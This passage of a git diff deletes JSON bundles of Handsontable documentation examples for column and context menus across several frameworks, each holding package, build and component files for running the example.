    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example2')!;\n\nnew Handsontable(container, {\n data: [\n ['A1', 'B1', 'C1', 'D1', 'E1', 'F1', 'G1'],\n ['A2', 'B2', 'C2', 'D2', 'E2', 'F2', 'G2'],\n ['A3', 'B3', 'C3', 'D3', 'E3', 'F3', 'G3'],\n ],\n colHeaders: true,\n licenseKey: 'non-commercial-and-evaluation',\n height: 'auto',\n dropdownMenu: ['remove_col', '---------', 'make_read_only', '---------', 'alignment'],\n autoWrapRow: true,\n autoWrapCol: true,\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/accessories-and-menus/column-menu/javascript/example2.ts","breadcrumb":["Accessories And Menus","Column menu"],"guide":"guides/accessories-and-menus/column-menu/column-menu.md","guideTitle":"Column menu","exampleId":"example2","exampleTitle":"Plugin configuration","docPermalink":"/column-menu","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__column-menu__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__column-menu__react__example1.tsx.json deleted file mode 100644 index 16d4c4d1..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__column-menu__react__example1.tsx.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"react","displayName":"Accessories And Menus ▸ Column menu · Standard example · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/react-wrapper\": \"18.0.0\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example1\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n return (\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/accessories-and-menus/column-menu/react/example1.tsx","breadcrumb":["Accessories And Menus","Column menu"],"guide":"guides/accessories-and-menus/column-menu/column-menu.md","guideTitle":"Column menu","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/column-menu","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__column-menu__react__example2.tsx.json b/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__column-menu__react__example2.tsx.json deleted file mode 100644 index d4f1931a..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__column-menu__react__example2.tsx.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"react","displayName":"Accessories And Menus ▸ Column menu · Plugin configuration · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/react-wrapper\": \"18.0.0\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example2\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n return (\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/accessories-and-menus/column-menu/react/example2.tsx","breadcrumb":["Accessories And Menus","Column menu"],"guide":"guides/accessories-and-menus/column-menu/column-menu.md","guideTitle":"Column menu","exampleId":"example2","exampleTitle":"Plugin configuration","docPermalink":"/column-menu","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__column-menu__vue__example1.vue.json b/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__column-menu__vue__example1.vue.json deleted file mode 100644 index 78195346..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__column-menu__vue__example1.vue.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"vue","displayName":"Accessories And Menus ▸ Column menu · Standard example · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/vue3\": \"18.0.0\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example1\");","/src/App.vue":"\n\n"},"docsPath":"guides/accessories-and-menus/column-menu/vue/example1.vue","breadcrumb":["Accessories And Menus","Column menu"],"guide":"guides/accessories-and-menus/column-menu/column-menu.md","guideTitle":"Column menu","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/column-menu","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__column-menu__vue__example2.vue.json b/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__column-menu__vue__example2.vue.json deleted file mode 100644 index 3524336d..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__column-menu__vue__example2.vue.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"vue","displayName":"Accessories And Menus ▸ Column menu · Plugin configuration · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/vue3\": \"18.0.0\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example2\");","/src/App.vue":"\n\n"},"docsPath":"guides/accessories-and-menus/column-menu/vue/example2.vue","breadcrumb":["Accessories And Menus","Column menu"],"guide":"guides/accessories-and-menus/column-menu/column-menu.md","guideTitle":"Column menu","exampleId":"example2","exampleTitle":"Plugin configuration","docPermalink":"/column-menu","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__context-menu__angular__example3.ts.json b/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__context-menu__angular__example3.ts.json deleted file mode 100644 index f1f1c18d..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__context-menu__angular__example3.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"angular","displayName":"Accessories And Menus ▸ Context menu · Menu item configuration options · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/angular-wrapper\": \"18.0.0\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component, OnInit } from '@angular/core';\nimport Handsontable from 'handsontable';\nimport { ContextMenu } from 'handsontable/plugins/contextMenu';\nimport { GridSettings, HotTableModule } from '@handsontable/angular-wrapper';\n\n@Component({\n selector: 'app-example3',\n standalone: true,\n imports: [HotTableModule],\n template: `\n \n \n `,\n})\nexport class AppComponent implements OnInit {\n\n readonly hotData = [\n ['', 'Tesla', 'Nissan', 'Toyota', 'Honda', 'Mazda', 'Ford'],\n ['2017', 10, 11, 12, 13, 15, 16],\n ['2018', 10, 11, 12, 13, 15, 16],\n ['2019', 10, 11, 12, 13, 15, 16],\n ['2020', 10, 11, 12, 13, 15, 16],\n ['2021', 10, 11, 12, 13, 15, 16],\n ];\n\n hotSettings!: GridSettings;\n\n ngOnInit() {\n const contextMenuSettings = {\n callback(key: string, selection: any, clickEvent: any) {\n // Common callback for all options\n console.log(key, selection, clickEvent);\n },\n items: {\n row_above: {\n disabled(this: Handsontable): boolean {\n // `disabled` can be a boolean or a function\n // Disable option when first row was clicked\n return this.getSelectedLast()?.[0] === 0; // `this` === hot\n },\n },\n // Use the dedicated separator constant to insert a separator line\n // (the key has to be unique)\n sp1: ContextMenu.SEPARATOR,\n row_below: {\n name: 'Click to add row below',\n },\n about: {\n // Own custom option\n name() {\n // `name` can be a string or a function\n return 'Custom option'; // Name can contain HTML\n },\n hidden(this: Handsontable): boolean {\n // `hidden` can be a boolean or a function\n // Hide the option when the first column was clicked\n return this.getSelectedLast()?.[1] == 0; // `this` === hot\n },\n callback() {\n // Callback for specific option\n setTimeout(() => {\n alert('Hello world!'); // Fire alert after menu close (with timeout)\n }, 0);\n },\n },\n colors: {\n // Own custom option\n name: 'Colors...',\n submenu: {\n // Custom option with submenu of items\n items: [\n {\n // Key must be in the form 'parent_key:child_key'\n key: 'colors:red',\n name: 'Red',\n callback() {\n setTimeout(() => {\n alert('You clicked red!');\n }, 0);\n },\n },\n { key: 'colors:green', name: 'Green' },\n { key: 'colors:blue', name: 'Blue' },\n ],\n },\n },\n credits: {\n // Own custom property\n // Custom rendered element in the context menu\n renderer() {\n const elem = document.createElement('marquee');\n\n elem.style.cssText = 'background: lightgray; color: #222222;';\n elem.textContent = 'Brought to you by...';\n\n return elem;\n },\n disableSelection: true,\n isCommand: false,\n },\n },\n };\n\n this.hotSettings = {\n rowHeaders: true,\n colHeaders: true,\n height: 'auto',\n contextMenu: contextMenuSettings,\n autoWrapRow: true,\n autoWrapCol: true,\n };\n }\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/accessories-and-menus/context-menu/angular/example3.ts","breadcrumb":["Accessories And Menus","Context menu"],"guide":"guides/accessories-and-menus/context-menu/context-menu.md","guideTitle":"Context menu","exampleId":"example3","exampleTitle":"Menu item configuration options","docPermalink":"/context-menu","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__context-menu__javascript__example3.js.json b/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__context-menu__javascript__example3.js.json deleted file mode 100644 index 74da0547..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__context-menu__javascript__example3.js.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"javascript","displayName":"Accessories And Menus ▸ Context menu · Menu item configuration options · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\nimport { ContextMenu } from 'handsontable/plugins/contextMenu';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst contextMenuSettings = {\n callback(key, selection, clickEvent) {\n // Common callback for all options\n console.log(key, selection, clickEvent);\n },\n items: {\n row_above: {\n disabled() {\n // `disabled` can be a boolean or a function\n // Disable option when first row was clicked\n return this.getSelectedLast()?.[0] === 0; // `this` === hot\n },\n },\n // Use the dedicated separator constant to insert a separator line\n // (the key has to be unique)\n sp1: ContextMenu.SEPARATOR,\n row_below: {\n name: 'Click to add row below', // Set custom text for predefined option\n },\n about: {\n // Own custom option\n name() {\n // `name` can be a string or a function\n return 'Custom option'; // Name can contain HTML\n },\n hidden() {\n // `hidden` can be a boolean or a function\n // Hide the option when the first column was clicked\n return this.getSelectedLast()?.[1] == 0; // `this` === hot\n },\n callback() {\n // Callback for specific option\n setTimeout(() => {\n alert('Hello world!'); // Fire alert after menu close (with timeout)\n }, 0);\n },\n },\n colors: {\n // Own custom option\n name: 'Colors...',\n submenu: {\n // Custom option with submenu of items\n items: [\n {\n // Key must be in the form 'parent_key:child_key'\n key: 'colors:red',\n name: 'Red',\n callback() {\n setTimeout(() => {\n alert('You clicked red!');\n }, 0);\n },\n },\n { key: 'colors:green', name: 'Green' },\n { key: 'colors:blue', name: 'Blue' },\n ],\n },\n },\n credits: {\n // Own custom property\n // Custom rendered element in the context menu\n renderer() {\n const elem = document.createElement('marquee');\n\n elem.style.cssText = 'background: lightgray; color: #222222;';\n elem.textContent = 'Brought to you by...';\n\n return elem;\n },\n disableSelection: true,\n isCommand: false, // Prevent clicks from executing command and closing the menu\n },\n },\n};\n\nconst container = document.querySelector('#example3');\n\nnew Handsontable(container, {\n data: [\n ['', 'Tesla', 'Nissan', 'Toyota', 'Honda', 'Mazda', 'Ford'],\n ['2017', 10, 11, 12, 13, 15, 16],\n ['2018', 10, 11, 12, 13, 15, 16],\n ['2019', 10, 11, 12, 13, 15, 16],\n ['2020', 10, 11, 12, 13, 15, 16],\n ['2021', 10, 11, 12, 13, 15, 16],\n ],\n rowHeaders: true,\n colHeaders: true,\n licenseKey: 'non-commercial-and-evaluation',\n height: 'auto',\n contextMenu: contextMenuSettings,\n autoWrapRow: true,\n autoWrapCol: true,\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/accessories-and-menus/context-menu/javascript/example3.js","breadcrumb":["Accessories And Menus","Context menu"],"guide":"guides/accessories-and-menus/context-menu/context-menu.md","guideTitle":"Context menu","exampleId":"example3","exampleTitle":"Menu item configuration options","docPermalink":"/context-menu","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__context-menu__javascript__example3.ts.json b/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__context-menu__javascript__example3.ts.json deleted file mode 100644 index d4903aff..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__context-menu__javascript__example3.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"typescript","displayName":"Accessories And Menus ▸ Context menu · Menu item configuration options · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\nimport { ContextMenu, DetailedSettings } from 'handsontable/plugins/contextMenu';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst contextMenuSettings: DetailedSettings = {\n callback(key, selection, clickEvent) {\n // Common callback for all options\n console.log(key, selection, clickEvent);\n },\n items: {\n row_above: {\n disabled() {\n // `disabled` can be a boolean or a function\n // Disable option when first row was clicked\n return this.getSelectedLast()?.[0] === 0; // `this` === hot\n },\n },\n // Use the dedicated separator constant to insert a separator line\n // (the key has to be unique)\n sp1: ContextMenu.SEPARATOR,\n row_below: {\n name: 'Click to add row below', // Set custom text for predefined option\n },\n about: {\n // Own custom option\n name() {\n // `name` can be a string or a function\n return 'Custom option'; // Name can contain HTML\n },\n hidden() {\n // `hidden` can be a boolean or a function\n // Hide the option when the first column was clicked\n return this.getSelectedLast()?.[1] == 0; // `this` === hot\n },\n callback() {\n // Callback for specific option\n setTimeout(() => {\n alert('Hello world!'); // Fire alert after menu close (with timeout)\n }, 0);\n },\n },\n colors: {\n // Own custom option\n name: 'Colors...',\n submenu: {\n // Custom option with submenu of items\n items: [\n {\n // Key must be in the form 'parent_key:child_key'\n key: 'colors:red',\n name: 'Red',\n callback() {\n setTimeout(() => {\n alert('You clicked red!');\n }, 0);\n },\n },\n { key: 'colors:green', name: 'Green' },\n { key: 'colors:blue', name: 'Blue' },\n ],\n },\n },\n credits: {\n // Own custom property\n // Custom rendered element in the context menu\n renderer() {\n const elem = document.createElement('marquee');\n\n elem.style.cssText = 'background: lightgray; color: #222222;';\n elem.textContent = 'Brought to you by...';\n\n return elem;\n },\n disableSelection: true, // Prevent mouseoever from highlighting the item for selection\n isCommand: false, // Prevent clicks from executing command and closing the menu\n },\n },\n};\n\nconst container = document.querySelector('#example3')!;\n\nnew Handsontable(container, {\n data: [\n ['', 'Tesla', 'Nissan', 'Toyota', 'Honda', 'Mazda', 'Ford'],\n ['2017', 10, 11, 12, 13, 15, 16],\n ['2018', 10, 11, 12, 13, 15, 16],\n ['2019', 10, 11, 12, 13, 15, 16],\n ['2020', 10, 11, 12, 13, 15, 16],\n ['2021', 10, 11, 12, 13, 15, 16],\n ],\n rowHeaders: true,\n colHeaders: true,\n licenseKey: 'non-commercial-and-evaluation',\n height: 'auto',\n contextMenu: contextMenuSettings,\n autoWrapRow: true,\n autoWrapCol: true,\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/accessories-and-menus/context-menu/javascript/example3.ts","breadcrumb":["Accessories And Menus","Context menu"],"guide":"guides/accessories-and-menus/context-menu/context-menu.md","guideTitle":"Context menu","exampleId":"example3","exampleTitle":"Menu item configuration options","docPermalink":"/context-menu","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__context-menu__react__example3.tsx.json b/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__context-menu__react__example3.tsx.json deleted file mode 100644 index 1afdac67..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__context-menu__react__example3.tsx.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"react","displayName":"Accessories And Menus ▸ Context menu · Menu item configuration options · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/react-wrapper\": \"18.0.0\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example3\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport { ContextMenu, DetailedSettings } from 'handsontable/plugins/contextMenu';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst contextMenuSettings: DetailedSettings = {\n callback(key, selection, clickEvent) {\n // Common callback for all options\n console.log(key, selection, clickEvent);\n },\n items: {\n row_above: {\n disabled() {\n // `disabled` can be a boolean or a function\n // Disable option when first row was clicked\n return this.getSelectedLast()?.[0] === 0; // `this` === hot\n },\n },\n // Use the dedicated separator constant to insert a separator line\n // (the key has to be unique)\n sp1: ContextMenu.SEPARATOR,\n row_below: {\n name: 'Click to add row below', // Set custom text for predefined option\n },\n about: {\n // Own custom option\n name() {\n // `name` can be a string or a function\n return 'Custom option'; // Name can contain HTML\n },\n hidden() {\n // `hidden` can be a boolean or a function\n // Hide the option when the first column was clicked\n return this.getSelectedLast()?.[1] == 0; // `this` === hot\n },\n callback() {\n // Callback for specific option\n setTimeout(() => {\n alert('Hello world!'); // Fire alert after menu close (with timeout)\n }, 0);\n },\n },\n colors: {\n // Own custom option\n name: 'Colors...',\n submenu: {\n // Custom option with submenu of items\n items: [\n {\n // Key must be in the form 'parent_key:child_key'\n key: 'colors:red',\n name: 'Red',\n callback() {\n setTimeout(() => {\n alert('You clicked red!');\n }, 0);\n },\n },\n { key: 'colors:green', name: 'Green' },\n { key: 'colors:blue', name: 'Blue' },\n ],\n },\n },\n credits: {\n // Own custom property\n // Custom rendered element in the context menu\n renderer() {\n const elem = document.createElement('marquee');\n\n elem.style.cssText = 'background: lightgray; color: #222222;';\n elem.textContent = 'Brought to you by...';\n\n return elem;\n },\n disableSelection: true, // Prevent mouseoever from highlighting the item for selection\n isCommand: false, // Prevent clicks from executing command and closing the menu\n },\n },\n};\n\nconst ExampleComponent = () => {\n return (\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/accessories-and-menus/context-menu/react/example3.tsx","breadcrumb":["Accessories And Menus","Context menu"],"guide":"guides/accessories-and-menus/context-menu/context-menu.md","guideTitle":"Context menu","exampleId":"example3","exampleTitle":"Menu item configuration options","docPermalink":"/context-menu","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__context-menu__vue__example3.vue.json b/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__context-menu__vue__example3.vue.json deleted file mode 100644 index 8b93c0ff..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__context-menu__vue__example3.vue.json +++ /dev/null @@ -1 